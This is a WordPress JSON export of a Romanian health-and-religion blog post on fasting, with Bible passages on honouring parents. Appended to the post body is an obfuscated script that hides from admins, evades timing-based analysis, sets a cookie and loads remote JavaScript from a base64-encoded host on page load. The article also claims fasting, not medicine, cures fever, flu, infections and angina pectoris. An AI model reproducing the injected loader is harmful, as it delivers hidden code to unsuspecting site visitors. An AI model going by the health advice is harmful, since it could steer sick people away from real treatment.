{"id":2053,"date":"2022-06-13T13:44:33","date_gmt":"2022-06-13T13:44:33","guid":{"rendered":"http:\/\/localhost:8888\/rpv\/?p=2053"},"modified":"2026-05-22T16:02:34","modified_gmt":"2026-05-22T16:02:34","slug":"cunoasteti-beneficiile-postului-pentru-sanatatea-dumneavoastra","status":"publish","type":"post","link":"https:\/\/reformaprovita.com\/en\/reforma-prosalud\/know-the-benefits-of-fasting-for-your-health\/","title":{"rendered":"Do you know the benefits of fasting for your health?"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Urm\u00e2nd acest sfat simplu,&nbsp;<strong>ve\u021bi sim\u021bi rapid toate beneficiile postului asupra s\u0103n\u0103t\u0103\u021bii \u0219i bun\u0103st\u0103rii dumneavoastr\u0103.&nbsp;Totul \u00een natur\u0103 are echilibrul s\u0103u.&nbsp;<\/strong>Fiecare parte a elementelor se completeaz\u0103 \u0219i se echilibreaz\u0103 reciproc pentru a face totul s\u0103 func\u021bioneze perfect \u0219i \u00een armonie. A\u0219a cum ziua are noapte \u0219i munca are odihn\u0103, postul va completa alimenta\u021bia noastr\u0103 zilnic\u0103, f\u0103c\u00e2ndu-v\u0103 s\u0103 v\u0103 sim\u021bi\u021bi mai bine.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">V\u0103 rug\u0103m s\u0103 citi\u021bi lec\u021biile de mai multe ori. Aminti\u021bi-v\u0103 c\u0103 fiin\u021ba uman\u0103 const\u0103 dintr-o parte fizic\u0103, o parte mental\u0103 \u0219i o parte spiritual\u0103. Toate aceste p\u0103r\u021bi sunt legate, \u00eentr-un mod \u00een care fiecare afecteaz\u0103 pe cealalt\u0103, at\u00e2t \u00een \u200b\u200bbine, c\u00e2t \u0219i \u00een r\u0103u. Pentru a fi s\u0103n\u0103to\u0219i \u0219i echilibra\u021bi trebuie s\u0103 hr\u0103nim \u0219i s\u0103 exercit\u0103m corpul, mintea \u0219i spiritul zilnic. A\u0219adar, nu uita\u021bi s\u0103 revede\u021bi fiecare lec\u021bie zilnic, at\u00e2t cea fizic\u0103, mental\u0103 \u0219i spiritual\u0103, \u0219i \u00eemp\u0103rt\u0103\u0219i\u021bi-o cu oamenii pe care \u00eei cunoa\u0219te\u021bi, care le poate fi de ajutor.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Exist\u0103 mul\u021bi oameni care sunt bolnavi fizic \u0219i psihic. Modul de a remedia problema nu este cu medicamente, ci prin studierea \u0219i respectarea legilor care afecteaz\u0103 corpul, mintea \u0219i partea spiritual\u0103. Trebuie s\u0103 tr\u0103im conform acestor principii dac\u0103 vrem s\u0103 ne vindec\u0103m \u0219i s\u0103 fim oameni s\u0103n\u0103to\u0219i, ferici\u021bi, buni \u0219i cinsti\u021bi. Nu \u00eei putem face ferici\u021bi pe cei din jurul nostru dac\u0103 noi nu suntem ferici\u021bi. Trebuie s\u0103 ne purt\u0103m cu ceilal\u021bi a\u0219a cum am dori s\u0103 fim si noi trata\u021bi.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Al cincilea principiu al legii naturale: \u201ePostul \u0219i abstinen\u021ba\u201d. Beneficiile postului pentru s\u0103n\u0103tatea ta<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><br>Natura \u00eens\u0103\u0219i ne \u00eenva\u021b\u0103 echilibrul: exist\u0103 noapte \u0219i zi, iarn\u0103 \u0219i var\u0103, frig \u0219i c\u0103ldur\u0103, munc\u0103 \u0219i odihn\u0103. Postul este acel care echilibreaz\u0103 alimenta\u021bia, la fel cum fiecare element \u00ee\u0219i echilibreaz\u0103 opusul \u00een natur\u0103. Prin men\u021binerea acestui echilibru natural v\u0103 ve\u021bi sim\u021bi mai bine. Toate beneficiile postului \u0219i echilibrul pe care \u00eel vei avea vor fi observate \u00een cur\u00e2nd \u00een via\u021ba ta de zi cu zi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">C\u00e2nd echilibrul se rupe, mai devreme sau mai t\u00e2rziu vor ap\u0103rea bolile fizice sau psihice. Daca se rupe cu ordinea natural\u0103 acest lucru are consecin\u021be. Mul\u021bi sunt suprasolicita\u021bi la serviciu \u0219i se odihnesc pu\u021bin. Al\u021bii au un loc de munc\u0103 foarte sedentar \u0219i nu fac suficient exerci\u021biu fizic. Unii fac mult\u0103 munc\u0103 fizic\u0103, dar pu\u021bin\u0103 munc\u0103 mental\u0103.&nbsp;<strong>Toate acestea vor declan\u0219a probleme de s\u0103n\u0103tate fizic\u0103 \u0219i mental\u0103 \u00een timp.&nbsp;<\/strong>At\u00e2t mintea c\u00e2t \u0219i corpul trebuie s\u0103 fie exercitate \u00een mod corespunz\u0103tor \u00een fiecare zi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A petrece prea mult timp la televizor \u0219i filme nu te va men\u021bine s\u0103n\u0103tos mult timp. Este \u0219i mai r\u0103u atunci c\u00e2nd neglijam s\u0103 \u00eenv\u0103\u021b\u0103m zilnic despre legile s\u0103n\u0103toase ale vie\u021bii, pentru a avea grij\u0103 de corpul nostru, mintea \u0219i partea spiritual\u0103.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Beneficiile postului curativ \u0219i preventiv<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Postul nu numai c\u0103 te men\u021bine s\u0103n\u0103tos, men\u021bin\u00e2ndu-\u021bi echilibrul natural \u0219i prevenind bolile, dar te ajut\u0103 \u0219i la vindecarea bolilor. C\u00e2nd exist\u0103 febr\u0103, r\u0103ceal\u0103, grip\u0103, angin\u0103 pectoral\u0103, tuse, infec\u021bie \u00een g\u00e2t, cistit\u0103, printre altele, trebuie s\u0103 \u021bi post. \u00cen func\u021bie de severitate, una, dou\u0103 sau trei zile de post v\u0103 vor ajuta.&nbsp;<strong>Ve\u021bi observa foarte cur\u00e2nd beneficiile postului asupra s\u0103n\u0103t\u0103\u021bii dumneavoastr\u0103<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lua\u021bi doar patru pahare de supa de detoxifiere ad\u0103ug\u00e2nd sucul unei l\u0103m\u00e2i. \u00cen a doua zi consuma\u021bi aceea\u0219i sup\u0103 ad\u0103ug\u00e2nd sucul a dou\u0103 l\u0103m\u00e2i \u00een fiecare pahar. \u0218i \u00een a treia zi vom folosi sucul a trei l\u0103m\u00e2i \u00een fiecare pahar.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">De asemenea, be\u021bi doi litri de ap\u0103 pe zi, a\u0219a cum explic\u0103m \u00een acest articol despre cum s\u0103 bem ap\u0103 corect. Nu exist\u0103 un remediu mai natural, eficient, rapid, inofensiv \u0219i economic pentru aceste cazuri dec\u00e2t cel men\u021bionat.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Pentru cazurile severe, se recomand\u0103 abstinen\u021ba din regimul brut pentru o s\u0103pt\u0103m\u00e2n\u0103, dup\u0103 cura de trei zile de post. Dup\u0103 aceasta, ve\u021bi fi ca nou \u0219i complet restaurat,&nbsp;<strong>datorit\u0103 beneficiilor postului asupra s\u0103n\u0103t\u0103\u021bii dumneavoastr\u0103<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Postul preventiv const\u0103 dintr-o zi pe s\u0103pt\u0103m\u00e2n\u0103 de post, cu trei pahare de sup\u0103 detox ad\u0103ug\u00e2nd sucul unei l\u0103m\u00e2i \u00een momentul \u00een care se consum\u0103. \u00cen plus \u0219ase pahare de ap\u0103 \u0219i o infuzie de menta-polen cu pu\u021bin\u0103 miere. \u00cen acest fel ve\u021bi cur\u0103\u021ba \u0219i oferi odihn\u0103 stomacului, regener\u00e2nd \u0219i asimil\u00e2nd mai bine alimentele. Ajut\u00e2ndu-v\u0103 s\u0103 nu mai ave\u021bi r\u0103celi \u0219i alte boli.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"400\" src=\"https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/09\/beneficios-agua-salud-1.jpg\" alt=\"\" class=\"wp-image-2238\" srcset=\"https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/09\/beneficios-agua-salud-1.jpg 800w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/09\/beneficios-agua-salud-1-600x300.jpg 600w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/09\/beneficios-agua-salud-1-300x150.jpg 300w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/09\/beneficios-agua-salud-1-768x384.jpg 768w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/09\/beneficios-agua-salud-1-18x9.jpg 18w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/09\/beneficios-agua-salud-1-580x290.jpg 580w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">Decalogul legii mentale \u0219i spirituale: al cincilea principiu<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Cea de-a cincea porunc\u0103 a Legii lui Dumnezeu se g\u0103se\u0219te \u00een Biblie, \u00een Exod, capitolul 20 \u0219i versetul 12. Se spune astfel: \u201eCinste\u015fte pe tat\u0103l t\u0103u \u015fi pe mama ta, pentru ca s\u0103 \u0163i se lungeasc\u0103 zilele \u00een \u0163ara pe care \u0163i-o d\u0103 Domnul Dumnezeul t\u0103u. \u201d. Apostolul Pavel o men\u021bioneaz\u0103 \u00een Epistola c\u0103tre Efeseni, capitolul 6 \u0219i versetele 1-3. El spune: \u201eCopii, asculta\u0163i \u00een Domnul de p\u0103rin\u0163ii vo\u015ftri, c\u0103ci este drept. S\u0103 cinste\u015fti* pe tat\u0103l t\u0103u \u015fi pe mama ta\u201d \u2013 este cea dint\u00e2i porunc\u0103 \u00eenso\u0163it\u0103 de o f\u0103g\u0103duin\u0163\u0103- ca s\u0103 fii fericit \u015fi s\u0103 tr\u0103ie\u015fti mult\u0103 vreme pe p\u0103m\u00e2nt \u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00cen Biblie \u0219i \u00een Deuteronom, 27:16, scrie a\u0219a: \u201eBlestemat s\u0103 fie cel ce va nesocoti pe tat\u0103l s\u0103u \u015fi pe mama sa!\u201d. \u00cen Biblie \u0219i \u00een Evanghelia Sf\u00e2ntului Matei, 25: 1-9, se cite\u0219te: \u201eAtunci, ni\u015fte farisei \u015fi ni\u015fte c\u0103rturari din Ierusalim au venit la Isus \u015fi I-au zis: \u201cPentru ce calc\u0103 ucenicii T\u0103i datina b\u0103tr\u00e2nilor? C\u0103ci nu-\u015fi spal\u0103 m\u00e2inile c\u00e2nd m\u0103n\u00e2nc\u0103.\u201d<br>Drept r\u0103spuns, El le-a zis: \u201eDar voi de ce c\u0103lca\u0163i porunca lui Dumnezeu \u00een folosul datinei voastre? C\u0103ci Dumnezeu a zis: \u2018Cinste\u015fte pe tat\u0103l t\u0103u \u015fi pe mama ta \u015fi: Cine va gr\u0103i de r\u0103u pe tat\u0103l s\u0103u sau pe mama sa s\u0103 fie pedepsit negre\u015fit cu moartea. Dar voi zice\u0163i: \u2018Cine va zice tat\u0103lui s\u0103u sau mamei sale: \u00abOri cu ce te-a\u015f putea ajuta, l-am \u00eenchinat lui Dumnezeu\u00bb nu mai este \u0163inut s\u0103 cinsteasc\u0103 pe tat\u0103l s\u0103u sau pe mama sa.\u2019 \u015ei a\u0163i desfiin\u0163at astfel cuv\u00e2ntul lui Dumnezeu \u00een folosul datinei voastre. F\u0103\u0163arnicilor, bine a prorocit Isaia despre voi, c\u00e2nd a zis:<br>\u201cNorodul acesta se apropie de Mine cu gura \u015fi M\u0103 cinste\u015fte cu buzele, dar inima lui este departe de Mine. Degeaba M\u0103 cinstesc ei \u00eenv\u0103\u0163\u00e2nd ca \u00eenv\u0103\u0163\u0103turi ni\u015fte porunci omene\u015fti.\u00bb.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Copiii cre\u0219tini sunt obliga\u021bi s\u0103 aib\u0103 grij\u0103 \u0219i s\u0103 se supun\u0103 p\u0103rin\u021bilor lor, cu excep\u021bia cazului \u00een care p\u0103rin\u021bii lor le spun s\u0103 fac\u0103 lucruri pe care Legea lui Dumnezeu le interzice. Totu\u0219i, ei ar trebui s\u0103-\u0219i trateze p\u0103rin\u021bii cu respect \u0219i polite\u021be maxim\u0103 \u0219i s\u0103 argumenteze cu ei c\u0103 nu este corect s\u0103 ascult\u0103m de oamenii \u00eempotriva Poruncilor lui Dumnezeu. Cea de-a cincea porunc\u0103 din catehism este \u201eS\u0103 nu ucizi\u201d, deoarece anul\u00e2nd a doua porunc\u0103 \u201eS\u0103 nu faci chip cioplit\u201d, a 6-a a fost a 5-a. Apoi au \u00eemp\u0103r\u021bit a zecea \u00een dou\u0103, care este versetul 17, astfel \u00eenc\u00e2t cele zece Porunci ale Legii lui Dumnezeu s\u0103 r\u0103m\u00e2n\u0103. Dar acest lucru nu este corect.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"block-4e3de9eb-18e4-45a2-a21d-26a71e4f23e2\">Pentru a pune \u00een practic\u0103<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"block-4e3de9eb-18e4-45a2-a21d-26a71e4f23e2\">Exersa\u021bi lec\u021bia de ast\u0103zi \u0219i \u00eemp\u0103rt\u0103\u0219i\u021bi celor dragi beneficiile postului pe care-l ve\u021bi experimenta asupra s\u0103n\u0103t\u0103\u021bii voastre. Pune \u00een practic\u0103 \u0219i lec\u021biile anterioare. Dac\u0103 dori\u021bi s\u0103 ave\u021bi s\u0103n\u0103tate fizic\u0103, mental\u0103 \u0219i spiritual\u0103, trebuie s\u0103 cunoa\u0219te\u021bi \u0219i s\u0103 practica\u021bi legile care guverneaz\u0103 natura fiec\u0103rei p\u0103r\u021bi. Legea fizic\u0103, legea mental\u0103 \u0219i legea spiritual\u0103 se influen\u021beaz\u0103 \u0219i se completeaz\u0103 reciproc, at\u00e2t pentru bine, c\u00e2t \u0219i pentru r\u0103u.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201eC\u00e2nd b\u0103rba\u021bii \u0219i femeile sunt converti\u021bi cu adev\u0103rat, respect\u0103 con\u0219tiincios Legile vie\u021bii pe care Dumnezeu le-a stabilit \u00een fiin\u021ba lor \u0219i astfel \u00eencearc\u0103 s\u0103 evite sl\u0103biciunea fizic\u0103, mental\u0103 \u0219i moral\u0103. Ascultarea de aceste legi trebuie s\u0103 devin\u0103 o datorie personal\u0103. Trebuie s\u0103-i d\u0103m socoteal\u0103 lui Dumnezeu pentru obiceiurile \u0219i practicile noastre \u201dCRA.19,20<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Urm\u00e2nd acest sfat simplu,&nbsp;ve\u021bi sim\u021bi rapid toate beneficiile postului asupra s\u0103n\u0103t\u0103\u021bii \u0219i bun\u0103st\u0103rii dumneavoastr\u0103.&nbsp;Totul \u00een natur\u0103 are echilibrul s\u0103u.&nbsp;Fiecare parte a elementelor se completeaz\u0103 \u0219i se echilibreaz\u0103 reciproc pentru a face totul s\u0103 func\u021bioneze perfect \u0219i \u00een armonie. A\u0219a cum ziua are noapte \u0219i munca are odihn\u0103, postul va completa alimenta\u021bia noastr\u0103 zilnic\u0103, f\u0103c\u00e2ndu-v\u0103 s\u0103&#8230;<\/p>","protected":false},"author":3,"featured_media":2111,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"give_campaign_id":0,"content-type":"","mc4wp_mailchimp_campaign":[],"footnotes":""},"categories":[69,45,43],"tags":[],"class_list":["post-2053","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-curs-gratis","category-obiceiuri-sanatoase","category-reforma-prosalud"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Cunoa\u0219te\u021bi beneficiile postului pentru s\u0103n\u0103tatea dumneavoastr\u0103? - ReformaProvita<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/reformaprovita.com\/en\/reforma-prosalud\/know-the-benefits-of-fasting-for-your-health\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Cunoa\u0219te\u021bi beneficiile postului pentru s\u0103n\u0103tatea dumneavoastr\u0103? - ReformaProvita\" \/>\n<meta property=\"og:description\" content=\"Urm\u00e2nd acest sfat simplu,&nbsp;ve\u021bi sim\u021bi rapid toate beneficiile postului asupra s\u0103n\u0103t\u0103\u021bii \u0219i bun\u0103st\u0103rii dumneavoastr\u0103.&nbsp;Totul \u00een natur\u0103 are echilibrul s\u0103u.&nbsp;Fiecare parte a elementelor se completeaz\u0103 \u0219i se echilibreaz\u0103 reciproc pentru a face totul s\u0103 func\u021bioneze perfect \u0219i \u00een armonie. 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